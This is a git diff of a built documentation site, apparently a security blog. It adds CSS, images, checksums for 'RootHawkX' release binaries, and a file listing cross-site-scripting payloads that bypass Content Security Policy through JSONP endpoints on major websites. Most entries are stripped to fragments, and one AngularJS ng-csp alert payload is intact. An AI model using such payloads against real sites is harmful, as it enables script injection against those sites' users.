";display:inline-block;height:100%;-webkit-mask:var(--ifm-menu-link-sublist-icon) 50%/2rem 2rem no-repeat;mask:var(--ifm-menu-link-sublist-icon) 50%/2rem 2rem no-repeat;width:100%}.backToTopButtonShow_xfvO{opacity:1;transform:scale(1);visibility:visible}[data-theme=dark]:root{--docusaurus-collapse-button-bg:#ffffff0d;--docusaurus-collapse-button-bg-hover:#ffffff1a}.collapseSidebarButton_PEFL{display:none;margin:0}.iconExternalLink_nPIU{margin-left:.3rem}.dropdownNavbarItemMobile_J0Sd{cursor:pointer}.iconLanguage_nlXk{margin-right:5px;vertical-align:text-bottom}.navbarHideable_m1mJ{transition:transform var(--ifm-transition-fast) ease}.navbarHidden_jGov{transform:translate3d(0,calc(-100% - 2px),0)}.categoryLinkLabel_W154,.linkLabel_WmDU{display:-webkit-box;overflow:hidden;-webkit-box-orient:vertical}.navbar__items--right>:last-child{padding-right:0}.footerLogoLink_BH7S{opacity:.5;transition:opacity var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.footerLogoLink_BH7S:hover,.hash-link:focus,:hover>.hash-link{opacity:1}.menuExternalLink_NmtK{align-items:center}.linkLabel_WmDU{line-clamp:2;-webkit-line-clamp:2}.categoryLink_byQd{overflow:hidden}.menu__link--sublist-caret:after{margin-left:var(--ifm-menu-link-padding-vertical)}.categoryLinkLabel_W154{flex:1;line-clamp:2;-webkit-line-clamp:2}.docMainContainer_TBSr,.docRoot_UBD9{display:flex;width:100%}.docsWrapper_hBAB{display:flex;flex:1 0 auto}.anchorWithStickyNavbar_LWe7,.footnoteRefStickyNavbar_i6ta{scroll-margin-top:calc(var(--ifm-navbar-height) + .5rem)}.anchorWithHideOnScrollNavbar_WYt5,.footnoteRefHideOnScrollNavbar_D4Gr{scroll-margin-top:.5rem}.hash-link{opacity:0;padding-left:.5rem;transition:opacity var(--ifm-transition-fast);-webkit-user-select:none;user-select:none}.hash-link:before{content:"#"}body,html{height:100%}.mainWrapper_z2l0{display:flex;flex:1 0 auto;flex-direction:column}.docusaurus-mt-lg{margin-top:3rem}#__docusaurus{display:flex;flex-direction:column;min-height:100%}.codeBlockContainer_Ckt0{background:var(--prism-background-color);border-radius:var(--ifm-code-border-radius);box-shadow:var(--ifm-global-shadow-lw);color:var(--prism-color);margin-bottom:var(--ifm-leading)}.codeBlock_bY9V{--ifm-pre-background:var(--prism-background-color);margin:0;padding:0}.codeBlockStandalone_MEMb{padding:0}.codeBlockLines_e6Vv{float:left;font:inherit;min-width:100%;padding:var(--ifm-pre-padding)}.codeBlockLinesWithNumbering_o6Pm{display:table;padding:var(--ifm-pre-padding) 0}:where(:root){--docusaurus-highlighted-code-line-bg:#484d5b}:where([data-theme=dark]){--docusaurus-highlighted-code-line-bg:#646464}.theme-code-block-highlighted-line{background-color:var(--docusaurus-highlighted-code-line-bg);display:block;margin:0 calc(var(--ifm-pre-padding)*-1);padding:0 var(--ifm-pre-padding)}.codeLine_lJS_{counter-increment:a;display:table-row}.codeLineNumber_Tfdd{background:var(--ifm-pre-background);display:table-cell;left:0;overflow-wrap:normal;padding:0 var(--ifm-pre-padding);position:sticky;text-align:right;width:1%}.codeLineNumber_Tfdd:before{content:counter(a);opacity:.4}.theme-code-block-highlighted-line .codeLineNumber_Tfdd:before{opacity:.8}.codeLineContent_feaV{padding-right:var(--ifm-pre-padding)}.theme-code-block:hover .copyButtonCopied_Vdqa{opacity:1!important}.copyButtonIcons_IEyt{height:1.125rem;position:relative;width:1.125rem}.copyButtonIcon_TrPX,.copyButtonSuccessIcon_cVMy{fill:currentColor;height:inherit;left:0;opacity:inherit;position:absolute;top:0;transition:all var(--ifm-transition-fast) ease;width:inherit}.copyButtonSuccessIcon_cVMy{color:#00d600;left:50%;opacity:0;top:50%;transform:translate(-50%,-50%) scale(.33)}.copyButtonCopied_Vdqa .copyButtonIcon_TrPX{opacity:0;transform:scale(.33)}.copyButtonCopied_Vdqa .copyButtonSuccessIcon_cVMy{opacity:1;transform:translate(-50%,-50%) scale(1);transition-delay:75ms}.wordWrapButtonIcon_b1P5{height:1.2rem;width:1.2rem}.wordWrapButtonEnabled_uzNF .wordWrapButtonIcon_b1P5{color:var(--ifm-color-primary)}.buttonGroup_M5ko{column-gap:.2rem;display:flex;position:absolute;right:calc(var(--ifm-pre-padding)/2);top:calc(var(--ifm-pre-padding)/2)}.buttonGroup_M5ko button{align-items:center;background:var(--prism-background-color);border:1px solid var(--ifm-color-emphasis-300);border-radius:var(--ifm-global-radius);color:var(--prism-color);display:flex;line-height:0;opacity:0;padding:.4rem;transition:opacity var(--ifm-transition-fast) ease-in-out}.buttonGroup_M5ko button:focus-visible,.buttonGroup_M5ko button:hover{opacity:1!important}.theme-code-block:hover .buttonGroup_M5ko button{opacity:.4}.codeBlockContent_QJqH{border-radius:inherit;direction:ltr;position:relative}.codeBlockTitle_OeMC{border-bottom:1px solid var(--ifm-color-emphasis-300);border-top-left-radius:inherit;border-top-right-radius:inherit;font-size:var(--ifm-code-font-size);font-weight:500;padding:.75rem var(--ifm-pre-padding)}.codeBlockTitle_OeMC+.codeBlockContent_QJqH .codeBlock_a8dz{border-top-left-radius:0;border-top-right-radius:0}.iconEdit_Z9Sw{margin-right:.3em;vertical-align:sub}.lastUpdated_JAkA{font-size:smaller;font-style:italic;margin-top:.2rem}.tocCollapsibleButton_TO0P{align-items:center;display:flex;font-size:inherit;justify-content:space-between;padding:.4rem .8rem;width:100%}.tocCollapsibleButton_TO0P:after{background:var(--ifm-menu-link-sublist-icon) 50% 50%/2rem 2rem no-repeat;content:"";filter:var(--ifm-menu-link-sublist-icon-filter);height:1.25rem;transform:rotate(180deg);transition:transform var(--ifm-transition-fast);width:1.25rem}.tocCollapsibleButtonExpanded_MG3E:after,.tocCollapsibleExpanded_sAul{transform:none}.tocCollapsible_ETCw{background-color:var(--ifm-menu-color-background-active);border-radius:var(--ifm-global-radius);margin:1rem 0}.tocCollapsibleContent_vkbj>ul{border-left:none;border-top:1px solid var(--ifm-color-emphasis-300);font-size:15px;padding:.2rem 0}.tocCollapsibleContent_vkbj ul li{margin:.4rem .8rem}.tocCollapsibleContent_vkbj a{display:block}.details_b_Ee{--docusaurus-details-decoration-color:var(--ifm-alert-border-color);--docusaurus-details-transition:transform var(--ifm-transition-fast) ease;border:1px solid var(--ifm-alert-border-color);margin:0 0 var(--ifm-spacing-vertical)}.containsTaskList_mC6p{list-style:none}:not(.containsTaskList_mC6p>li)>.containsTaskList_mC6p{padding-left:0}.img_ev3q{height:auto}.tableOfContents_bqdL{max-height:calc(100vh - var(--ifm-navbar-height) - 2rem);overflow-y:auto;position:sticky;top:calc(var(--ifm-navbar-height) + 1rem)}.admonition_xJq3{margin-bottom:1em}.admonitionHeading_Gvgb{font:var(--ifm-heading-font-weight) var(--ifm-h5-font-size)/var(--ifm-heading-line-height) var(--ifm-heading-font-family);text-transform:uppercase}.admonitionHeading_Gvgb:not(:last-child){margin-bottom:.3rem}.admonitionHeading_Gvgb code{text-transform:none}.admonitionIcon_Rf37{display:inline-block;margin-right:.4em;vertical-align:middle}.admonitionIcon_Rf37 svg{display:inline-block;fill:var(--ifm-alert-foreground-color);height:1.6em;width:1.6em}.admonitionContent_BuS1>:last-child{margin-bottom:0}.breadcrumbHomeIcon_YNFT{height:1.1rem;position:relative;top:1px;vertical-align:top;width:1.1rem}.breadcrumbsContainer_Z_bl{--ifm-breadcrumb-size-multiplier:0.8;margin-bottom:.8rem}.docItemContainer_Djhp article>:first-child,.docItemContainer_Djhp header+*{margin-top:0}.mdxPageWrapper_j9I6{justify-content:center}}@media (min-width:997px){.collapseSidebarButton_PEFL,.expandButton_TmdG{background-color:var(--docusaurus-collapse-button-bg)}:root{--docusaurus-announcement-bar-height:30px}.announcementBarClose_gvF7,.announcementBarPlaceholder_vyr4{flex-basis:50px}.collapseSidebarButton_PEFL{border:1px solid var(--ifm-toc-border-color);border-radius:0;bottom:0;display:block!important;height:40px;position:sticky}.collapseSidebarButtonIcon_kv0_{margin-top:4px;transform:rotate(180deg)}.expandButtonIcon_i1dp,[dir=rtl] .collapseSidebarButtonIcon_kv0_{transform:rotate(0)}.collapseSidebarButton_PEFL:focus,.collapseSidebarButton_PEFL:hover,.expandButton_TmdG:focus,.expandButton_TmdG:hover{background-color:var(--docusaurus-collapse-button-bg-hover)}.navbarSearchContainer_Bca1{padding:0 var(--ifm-navbar-item-padding-horizontal)}.menuHtmlItem_M9Kj{padding:var(--ifm-menu-link-padding-vertical) var(--ifm-menu-link-padding-horizontal)}.menu_SIkG{flex-grow:1;padding:.5rem}@supports (scrollbar-gutter:stable){.menu_SIkG{padding:.5rem 0 .5rem .5rem;scrollbar-gutter:stable}}.menuWithAnnouncementBar_GW3s{margin-bottom:var(--docusaurus-announcement-bar-height)}.sidebar_njMd{display:flex;flex-direction:column;height:100%;padding-top:var(--ifm-navbar-height);width:var(--doc-sidebar-width)}.sidebarWithHideableNavbar_wUlq{padding-top:0}.sidebarHidden_VK0M{opacity:0;visibility:hidden}.sidebarLogo_isFc{align-items:center;color:inherit!important;display:flex!important;margin:0 var(--ifm-navbar-padding-horizontal);max-height:var(--ifm-navbar-height);min-height:var(--ifm-navbar-height);-webkit-text-decoration:none!important;text-decoration:none!important}.sidebarLogo_isFc img{height:2rem;margin-right:.5rem}.expandButton_TmdG{align-items:center;display:flex;height:100%;justify-content:center;position:absolute;right:0;top:0;transition:background-color var(--ifm-transition-fast) ease;width:100%}[dir=rtl] .expandButtonIcon_i1dp{transform:rotate(180deg)}.docSidebarContainer_YfHR{border-right:1px solid var(--ifm-toc-border-color);clip-path:inset(0);display:block;margin-top:calc(var(--ifm-navbar-height)*-1);transition:width var(--ifm-transition-fast) ease;width:var(--doc-sidebar-width);will-change:width}.docSidebarContainerHidden_DPk8{cursor:pointer;width:var(--doc-sidebar-hidden-width)}.sidebarViewport_aRkj{height:100%;max-height:100vh;position:sticky;top:0}.docMainContainer_TBSr{flex-grow:1;max-width:calc(100% - var(--doc-sidebar-width))}.docMainContainerEnhanced_lQrH{max-width:calc(100% - var(--doc-sidebar-hidden-width))}.docItemWrapperEnhanced_JWYK{max-width:calc(var(--ifm-container-width) + var(--doc-sidebar-width))!important}.lastUpdated_JAkA{text-align:right}.tocMobile_ITEo{display:none}.docItemCol_VOVn{max-width:75%!important}}@media (min-width:1440px){.container{max-width:var(--ifm-container-width-xl)}}@media (max-width:996px){.col{--ifm-col-width:100%;flex-basis:var(--ifm-col-width);margin-left:0}.footer{--ifm-footer-padding-horizontal:0}.colorModeToggle_DEke,.footer__link-separator,.navbar__item,.tableOfContents_bqdL{display:none}.footer__col{margin-bottom:calc(var(--ifm-spacing-vertical)*3)}.footer__link-item{display:block;width:max-content}.hero{padding-left:0;padding-right:0}.navbar>.container,.navbar>.container-fluid{padding:0}.navbar__toggle{display:inherit}.navbar__search-input{width:9rem}.pills--block,.tabs--block{flex-direction:column}.navbarSearchContainer_Bca1{position:absolute;right:var(--ifm-navbar-padding-horizontal)}.docItemContainer_F8PC{padding:0 .3rem}}@media screen and (max-width:996px){.heroBanner_qdFl{padding:2rem}}@media (max-width:576px){.markdown h1:first-child{--ifm-h1-font-size:2rem}.markdown>h2{--ifm-h2-font-size:1.5rem}.markdown>h3{--ifm-h3-font-size:1.25rem}}@media (hover:hover){.backToTopButton_sjWU:hover{background-color:var(--ifm-color-emphasis-300)}}@media (pointer:fine){.thin-scrollbar{scrollbar-width:thin}.thin-scrollbar::-webkit-scrollbar{height:var(--ifm-scrollbar-size);width:var(--ifm-scrollbar-size)}.thin-scrollbar::-webkit-scrollbar-track{background:var(--ifm-scrollbar-track-background-color);border-radius:10px}.thin-scrollbar::-webkit-scrollbar-thumb{background:var(--ifm-scrollbar-thumb-background-color);border-radius:10px}.thin-scrollbar::-webkit-scrollbar-thumb:hover{background:var(--ifm-scrollbar-thumb-hover-background-color)}}@media (prefers-reduced-motion:reduce){:root{--ifm-transition-fast:0ms;--ifm-transition-slow:0ms}}@media print{.announcementBar_mb4j,.footer,.menu,.navbar,.pagination-nav,.table-of-contents,.tocMobile_ITEo{display:none}.tabs{page-break-inside:avoid}.codeBlockLines_e6Vv{white-space:pre-wrap}} \ No newline at end of file diff --git a/assets/files/RootHawkX-v1.1-88e0fdffdc2210668c6117fdf99c34d2.zip b/assets/files/RootHawkX-v1.1-88e0fdffdc2210668c6117fdf99c34d2.zip new file mode 100644 index 0000000..f16c547 Binary files /dev/null and b/assets/files/RootHawkX-v1.1-88e0fdffdc2210668c6117fdf99c34d2.zip differ diff --git a/assets/files/RootHawkX-v1.1.tar-e75d9bb5f1cca75c97164d201a80f572.gz b/assets/files/RootHawkX-v1.1.tar-e75d9bb5f1cca75c97164d201a80f572.gz new file mode 100644 index 0000000..ff89e75 Binary files /dev/null and b/assets/files/RootHawkX-v1.1.tar-e75d9bb5f1cca75c97164d201a80f572.gz differ diff --git a/assets/files/SHA256SUMS-b4f8fc8d79a2604c91b2c3af4dbb2886.txt b/assets/files/SHA256SUMS-b4f8fc8d79a2604c91b2c3af4dbb2886.txt new file mode 100644 index 0000000..fcd6f90 --- /dev/null +++ b/assets/files/SHA256SUMS-b4f8fc8d79a2604c91b2c3af4dbb2886.txt @@ -0,0 +1,5 @@ +a740a8131fc8ee609a18f64c11913bb1728d116537a2011e83d4ca86ecc9af26 source/RootHawkX-v1.1.zip +c2f89356d8b636fe6690056effa61757fc5cf1c05f70797f60f50654c3e65b6d source/RootHawkX-v1.1.tar.gz +9b52eaa757c97ee792970bebf26bba2b18448c9bdd42b1fac170180c71aa28d2 bin/roothawkx_linux_386 +e183c0ac8688a7285164ef31d16ab4eaa44bbf52c36b104157f915cb1e8f9179 bin/roothawkx_linux_amd64 +de5fa1b971947194e8cbcc281c980c899f86aade6c4d5fa1063570086a2d67f1 bin/roothawkx_linux_arm64 diff --git a/assets/files/jsonp_endpoint-a829524ec0c745cc8b4c1438bc37ac22.txt b/assets/files/jsonp_endpoint-a829524ec0c745cc8b4c1438bc37ac22.txt new file mode 100644 index 0000000..12add24 --- /dev/null +++ b/assets/files/jsonp_endpoint-a829524ec0c745cc8b4c1438bc37ac22.txt @@ -0,0 +1,57 @@ +#Google.com: +"> +"> +"> +"> +#Blogger.com: +"> +#Yandex: +"> +"> +#VK.com: +"> +#Marketo.com +"> +"> +#AlibabaGroup: +"> +"> +"> +"> +"> +"> +"> +#Uber.com: +"> +#AOL/Yahoo +"> +"> +"> +"> +"> +"> +"> +"> +"> +"> +#Twitter.com: +"> +"> +"> +#Others: +"> +"> +"> +"> +"> +"> +"> +"> +"> +"> +"> +"> +#GoogleAPI's +"> +"> +ng-app"ng-csp ng-click=$event.view.alert(1337)> diff --git a/assets/images/0afd799d813b550caf14fb94e0972937-d47cea09dd075e314d10a5b4406ed39e.png b/assets/images/0afd799d813b550caf14fb94e0972937-d47cea09dd075e314d10a5b4406ed39e.png new file mode 100644 index 0000000..14e4f86 Binary files /dev/null and b/assets/images/0afd799d813b550caf14fb94e0972937-d47cea09dd075e314d10a5b4406ed39e.png differ diff --git a/assets/images/2021092516367021e78643cf9a68f7c7-aa29023b6519b54df5e720070bf0ba9f.png b/assets/images/2021092516367021e78643cf9a68f7c7-aa29023b6519b54df5e720070bf0ba9f.png new file mode 100644 index 0000000..3c4263b Binary files /dev/null and b/assets/images/2021092516367021e78643cf9a68f7c7-aa29023b6519b54df5e720070bf0ba9f.png differ diff --git a/assets/images/20210925163678af9e286637ed6de903-c9940ce49830ff56af6e2088dde6af33.png b/assets/images/20210925163678af9e286637ed6de903-c9940ce49830ff56af6e2088dde6af33.png new file mode 100644 index 0000000..9c223fd Binary files /dev/null and b/assets/images/20210925163678af9e286637ed6de903-c9940ce49830ff56af6e2088dde6af33.png differ diff --git a/assets/images/202211302250742-148ab5268388dfc6b90a4cf1b16d5c7c.png-1 b/assets/images/202211302250742-148ab5268388dfc6b90a4cf1b16d5c7c.png-1 new file mode 100644 index 0000000..b434d48 Binary files /dev/null and b/assets/images/202211302250742-148ab5268388dfc6b90a4cf1b16d5c7c.png-1 differ diff --git a/assets/images/202212010019366-f8f7529fc6e14fd9275825decb2926e1.png-1 b/assets/images/202212010019366-f8f7529fc6e14fd9275825decb2926e1.png-1 new file mode 100644 index 0000000..460f08e Binary files /dev/null and b/assets/images/202212010019366-f8f7529fc6e14fd9275825decb2926e1.png-1 differ diff --git a/assets/images/202403182249832-20241231164045338-e32b707431c905a07ab35c90835ef215.png b/assets/images/202403182249832-20241231164045338-e32b707431c905a07ab35c90835ef215.png new file mode 100644 index 0000000..14f6237 Binary files /dev/null and b/assets/images/202403182249832-20241231164045338-e32b707431c905a07ab35c90835ef215.png differ diff --git a/assets/images/202403182337995-265e4f2065034a994df6a30c00cfd8d3.png b/assets/images/202403182337995-265e4f2065034a994df6a30c00cfd8d3.png new file mode 100644 index 0000000..e721115 Binary files /dev/null and b/assets/images/202403182337995-265e4f2065034a994df6a30c00cfd8d3.png differ diff --git a/assets/images/202403182338042-facfa1c13af8ca73b5ff277ae3664479.png b/assets/images/202403182338042-facfa1c13af8ca73b5ff277ae3664479.png new file mode 100644 index 0000000..dc152a9 Binary files /dev/null and b/assets/images/202403182338042-facfa1c13af8ca73b5ff277ae3664479.png differ diff --git a/assets/images/202403182338102-f0b786e6e9b8323ececb24101cb8dbbb.png b/assets/images/202403182338102-f0b786e6e9b8323ececb24101cb8dbbb.png new file mode 100644 index 0000000..ec4864e Binary files /dev/null and b/assets/images/202403182338102-f0b786e6e9b8323ececb24101cb8dbbb.png differ diff --git a/assets/images/202403182338872-1e44b57182fc5142b8d25abba83ce795.png b/assets/images/202403182338872-1e44b57182fc5142b8d25abba83ce795.png new file mode 100644 index 0000000..f3c9554 Binary files /dev/null and b/assets/images/202403182338872-1e44b57182fc5142b8d25abba83ce795.png differ diff --git a/assets/images/202403192205111-4a87ad8cf4c7c9bb221a2d25c0fe9fef.png b/assets/images/202403192205111-4a87ad8cf4c7c9bb221a2d25c0fe9fef.png new file mode 100644 index 0000000..8a72955 Binary files /dev/null and b/assets/images/202403192205111-4a87ad8cf4c7c9bb221a2d25c0fe9fef.png differ diff --git a/assets/images/202403192205112-dd008b103944db149227f73266daa513.png b/assets/images/202403192205112-dd008b103944db149227f73266daa513.png new file mode 100644 index 0000000..c62fee2 Binary files /dev/null and b/assets/images/202403192205112-dd008b103944db149227f73266daa513.png differ diff --git a/assets/images/202403192205113-c02ad2dcfdece0a929c81f63e0a56f38.png b/assets/images/202403192205113-c02ad2dcfdece0a929c81f63e0a56f38.png new file mode 100644 index 0000000..f5142fa Binary files /dev/null and b/assets/images/202403192205113-c02ad2dcfdece0a929c81f63e0a56f38.png differ diff --git a/assets/images/202403192205114-0f3b6ab94429959c10f0fb54bd29b887.png b/assets/images/202403192205114-0f3b6ab94429959c10f0fb54bd29b887.png new file mode 100644 index 0000000..d580583 Binary files /dev/null and b/assets/images/202403192205114-0f3b6ab94429959c10f0fb54bd29b887.png differ diff --git a/assets/images/202403192205116-637ad2d0c24c819e3475704613d6c08f.png b/assets/images/202403192205116-637ad2d0c24c819e3475704613d6c08f.png new file mode 100644 index 0000000..2eb268a Binary files /dev/null and b/assets/images/202403192205116-637ad2d0c24c819e3475704613d6c08f.png differ diff --git a/assets/images/202403192205117-99ae4163c5e136f4c521810ae9c9335f.png b/assets/images/202403192205117-99ae4163c5e136f4c521810ae9c9335f.png new file mode 100644 index 0000000..3a4fc3d Binary files /dev/null and b/assets/images/202403192205117-99ae4163c5e136f4c521810ae9c9335f.png differ diff --git a/assets/images/202511031525099-20251103153630370-a1e325e7362f047772ee1bf566a5148e.png b/assets/images/202511031525099-20251103153630370-a1e325e7362f047772ee1bf566a5148e.png new file mode 100644 index 0000000..665dca4 Binary files /dev/null and b/assets/images/202511031525099-20251103153630370-a1e325e7362f047772ee1bf566a5148e.png differ diff --git a/assets/images/202511031525101-20251103153630312-36b96339f46a345c5fc57e64ef1869c3.png b/assets/images/202511031525101-20251103153630312-36b96339f46a345c5fc57e64ef1869c3.png new file mode 100644 index 0000000..c0a2c81 Binary files /dev/null and b/assets/images/202511031525101-20251103153630312-36b96339f46a345c5fc57e64ef1869c3.png differ diff --git a/assets/images/202511031525102-20251103153630350-9750e81abd6daed9497373c467fe1422.png b/assets/images/202511031525102-20251103153630350-9750e81abd6daed9497373c467fe1422.png new file mode 100644 index 0000000..052fa12 Binary files /dev/null and b/assets/images/202511031525102-20251103153630350-9750e81abd6daed9497373c467fe1422.png differ diff --git a/assets/images/202511031525103-20251103153630350-553bcfbbdb6aefcf08e6c864fb82c7c9.png b/assets/images/202511031525103-20251103153630350-553bcfbbdb6aefcf08e6c864fb82c7c9.png new file mode 100644 index 0000000..81ad15c Binary files /dev/null and b/assets/images/202511031525103-20251103153630350-553bcfbbdb6aefcf08e6c864fb82c7c9.png differ diff --git a/assets/images/202511031525104-20251103153630369-ac483afb04ffd54e81b38c927edd1cc1.png b/assets/images/202511031525104-20251103153630369-ac483afb04ffd54e81b38c927edd1cc1.png new file mode 100644 index 0000000..f43b77f Binary files /dev/null and b/assets/images/202511031525104-20251103153630369-ac483afb04ffd54e81b38c927edd1cc1.png differ diff --git a/assets/images/202511031525105-20251103153630429-8d6c8ec6826aed1acc040e9450a3be7c.png b/assets/images/202511031525105-20251103153630429-8d6c8ec6826aed1acc040e9450a3be7c.png new file mode 100644 index 0000000..77135d6 Binary files /dev/null and b/assets/images/202511031525105-20251103153630429-8d6c8ec6826aed1acc040e9450a3be7c.png differ diff --git a/assets/images/202511031525106-20251103153630377-dd476fdb7e91a9982a67928a27b33689.png b/assets/images/202511031525106-20251103153630377-dd476fdb7e91a9982a67928a27b33689.png new file mode 100644 index 0000000..202befb Binary files /dev/null and b/assets/images/202511031525106-20251103153630377-dd476fdb7e91a9982a67928a27b33689.png differ diff --git a/assets/images/202511031525107-20251103153630400-e10cdef1a2b7cc52962bc5c75327d7b5.png b/assets/images/202511031525107-20251103153630400-e10cdef1a2b7cc52962bc5c75327d7b5.png new file mode 100644 index 0000000..9fa918d Binary files /dev/null and b/assets/images/202511031525107-20251103153630400-e10cdef1a2b7cc52962bc5c75327d7b5.png differ diff --git a/assets/images/202511031525108-20251103153630477-2b41cae60abda1afae1c30b29a0404ea.png b/assets/images/202511031525108-20251103153630477-2b41cae60abda1afae1c30b29a0404ea.png new file mode 100644 index 0000000..ca1a627 Binary files /dev/null and b/assets/images/202511031525108-20251103153630477-2b41cae60abda1afae1c30b29a0404ea.png differ diff --git a/assets/images/202511101525044-50ba89b683b00abae6e1533ee36e9be8.png b/assets/images/202511101525044-50ba89b683b00abae6e1533ee36e9be8.png new file mode 100644 index 0000000..9ae95ba Binary files /dev/null and b/assets/images/202511101525044-50ba89b683b00abae6e1533ee36e9be8.png differ diff --git a/assets/images/202511101525050-57ce8e6ebcccecda9566cfa94ae0079d.png b/assets/images/202511101525050-57ce8e6ebcccecda9566cfa94ae0079d.png new file mode 100644 index 0000000..365f2a9 Binary files /dev/null and b/assets/images/202511101525050-57ce8e6ebcccecda9566cfa94ae0079d.png differ diff --git a/assets/images/2822d519284e2178b008fb245a207db1-fb6e3baf1918f94ba359f7248e1144be.png b/assets/images/2822d519284e2178b008fb245a207db1-fb6e3baf1918f94ba359f7248e1144be.png new file mode 100644 index 0000000..650357a Binary files /dev/null and b/assets/images/2822d519284e2178b008fb245a207db1-fb6e3baf1918f94ba359f7248e1144be.png differ diff --git a/assets/images/3.4.1-19eccc1a9cdb292575b8f591c1dc7b92.png b/assets/images/3.4.1-19eccc1a9cdb292575b8f591c1dc7b92.png new file mode 100644 index 0000000..d34ffb9 Binary files /dev/null and b/assets/images/3.4.1-19eccc1a9cdb292575b8f591c1dc7b92.png differ diff --git a/assets/images/3.4.2-ae440b6977390969adb347c39aa5260c.png b/assets/images/3.4.2-ae440b6977390969adb347c39aa5260c.png new file mode 100644 index 0000000..df0555a Binary files /dev/null and b/assets/images/3.4.2-ae440b6977390969adb347c39aa5260c.png differ diff --git a/assets/images/3.5.1lossfunciton-24b85c349438c3ed522ead54b5340e62.png b/assets/images/3.5.1lossfunciton-24b85c349438c3ed522ead54b5340e62.png new file mode 100644 index 0000000..a4cf3bf Binary files /dev/null and b/assets/images/3.5.1lossfunciton-24b85c349438c3ed522ead54b5340e62.png differ diff --git a/assets/images/3.5.2-325562f3d43de00833781903c0c1a8d2.png b/assets/images/3.5.2-325562f3d43de00833781903c0c1a8d2.png new file mode 100644 index 0000000..3a1e632 Binary files /dev/null and b/assets/images/3.5.2-325562f3d43de00833781903c0c1a8d2.png differ diff --git a/assets/images/3.6.1-c1ee95e9e5c6e05469f47cab67d0c8ac.png b/assets/images/3.6.1-c1ee95e9e5c6e05469f47cab67d0c8ac.png new file mode 100644 index 0000000..a02a51b Binary files /dev/null and b/assets/images/3.6.1-c1ee95e9e5c6e05469f47cab67d0c8ac.png differ diff --git a/assets/images/3.6.2-8bc87fe2341be69165add66702b37147.png b/assets/images/3.6.2-8bc87fe2341be69165add66702b37147.png new file mode 100644 index 0000000..6c10ee4 Binary files /dev/null and b/assets/images/3.6.2-8bc87fe2341be69165add66702b37147.png differ diff --git a/assets/images/5.2.1unet-f0e9aa890b967da85a7bd9a1fd73c55a.png b/assets/images/5.2.1unet-f0e9aa890b967da85a7bd9a1fd73c55a.png new file mode 100644 index 0000000..312c59f Binary files /dev/null and b/assets/images/5.2.1unet-f0e9aa890b967da85a7bd9a1fd73c55a.png differ diff --git a/assets/images/5007a129124cb7e3a84f851529884436-1d0d8228ba2bf52d840dc02b54aea2d6.png b/assets/images/5007a129124cb7e3a84f851529884436-1d0d8228ba2bf52d840dc02b54aea2d6.png new file mode 100644 index 0000000..4e3dfc0 Binary files /dev/null and b/assets/images/5007a129124cb7e3a84f851529884436-1d0d8228ba2bf52d840dc02b54aea2d6.png differ diff --git a/assets/images/640-20251105111704240-d1c80da20bcf4f4a890289e2e11a7b3f.png b/assets/images/640-20251105111704240-d1c80da20bcf4f4a890289e2e11a7b3f.png new file mode 100644 index 0000000..ffad84a Binary files /dev/null and b/assets/images/640-20251105111704240-d1c80da20bcf4f4a890289e2e11a7b3f.png differ diff --git a/assets/images/640-20251105111704389-2e949c08fb30d2ce180774a8baf60d27.png b/assets/images/640-20251105111704389-2e949c08fb30d2ce180774a8baf60d27.png new file mode 100644 index 0000000..0fce66f Binary files /dev/null and b/assets/images/640-20251105111704389-2e949c08fb30d2ce180774a8baf60d27.png differ diff --git a/assets/images/640-20251105111704418-62a65b2d504965d3c5d59ea2076acc27.png b/assets/images/640-20251105111704418-62a65b2d504965d3c5d59ea2076acc27.png new file mode 100644 index 0000000..95ff848 Binary files /dev/null and b/assets/images/640-20251105111704418-62a65b2d504965d3c5d59ea2076acc27.png differ diff --git a/assets/images/640-20251105111704436-bcac6e75773f86c86106f0c80a52651f.png b/assets/images/640-20251105111704436-bcac6e75773f86c86106f0c80a52651f.png new file mode 100644 index 0000000..fd7e769 Binary files /dev/null and b/assets/images/640-20251105111704436-bcac6e75773f86c86106f0c80a52651f.png differ diff --git a/assets/images/640-20251105111704461-f0b18d6a548e5f9e6f5d98c7f9d0573f.png b/assets/images/640-20251105111704461-f0b18d6a548e5f9e6f5d98c7f9d0573f.png new file mode 100644 index 0000000..5619a52 Binary files /dev/null and b/assets/images/640-20251105111704461-f0b18d6a548e5f9e6f5d98c7f9d0573f.png differ diff --git a/assets/images/640-20251105111704497-ba3f7e68b47b94cce63c8746df01a457.png b/assets/images/640-20251105111704497-ba3f7e68b47b94cce63c8746df01a457.png new file mode 100644 index 0000000..c1e1896 Binary files /dev/null and b/assets/images/640-20251105111704497-ba3f7e68b47b94cce63c8746df01a457.png differ diff --git a/assets/images/640-20251105111704560-6cae391413aa5e44f269ab764a03baec.png b/assets/images/640-20251105111704560-6cae391413aa5e44f269ab764a03baec.png new file mode 100644 index 0000000..d919c9d Binary files /dev/null and b/assets/images/640-20251105111704560-6cae391413aa5e44f269ab764a03baec.png differ diff --git a/assets/images/640-20251105111704579-42d4d6fec2bda63eacf4ecf65658a5a8.png b/assets/images/640-20251105111704579-42d4d6fec2bda63eacf4ecf65658a5a8.png new file mode 100644 index 0000000..af165a1 Binary files /dev/null and b/assets/images/640-20251105111704579-42d4d6fec2bda63eacf4ecf65658a5a8.png differ diff --git a/assets/images/640-20251105111704610-3fdc2fb2194438ed1eb97bcd26d6dc88.png b/assets/images/640-20251105111704610-3fdc2fb2194438ed1eb97bcd26d6dc88.png new file mode 100644 index 0000000..874ebda Binary files /dev/null and b/assets/images/640-20251105111704610-3fdc2fb2194438ed1eb97bcd26d6dc88.png differ diff --git a/assets/images/640-20251105111704633-88f8990707ad4527a411435412d49945.png b/assets/images/640-20251105111704633-88f8990707ad4527a411435412d49945.png new file mode 100644 index 0000000..3ad0fa9 Binary files /dev/null and b/assets/images/640-20251105111704633-88f8990707ad4527a411435412d49945.png differ diff --git a/assets/images/640-20251105111704653-87ffebf3b03651170d5f958e2a9c7f3e.png b/assets/images/640-20251105111704653-87ffebf3b03651170d5f958e2a9c7f3e.png new file mode 100644 index 0000000..245b19e Binary files /dev/null and b/assets/images/640-20251105111704653-87ffebf3b03651170d5f958e2a9c7f3e.png differ diff --git a/assets/images/640-20251105111704720-101dd45c8e00ddf9a8d98605d6d3d1ac.png b/assets/images/640-20251105111704720-101dd45c8e00ddf9a8d98605d6d3d1ac.png new file mode 100644 index 0000000..814716f Binary files /dev/null and b/assets/images/640-20251105111704720-101dd45c8e00ddf9a8d98605d6d3d1ac.png differ diff --git a/assets/images/640-20251105111704758-8b3cd494ccc059a4a008b5a81ddb5fe2.png b/assets/images/640-20251105111704758-8b3cd494ccc059a4a008b5a81ddb5fe2.png new file mode 100644 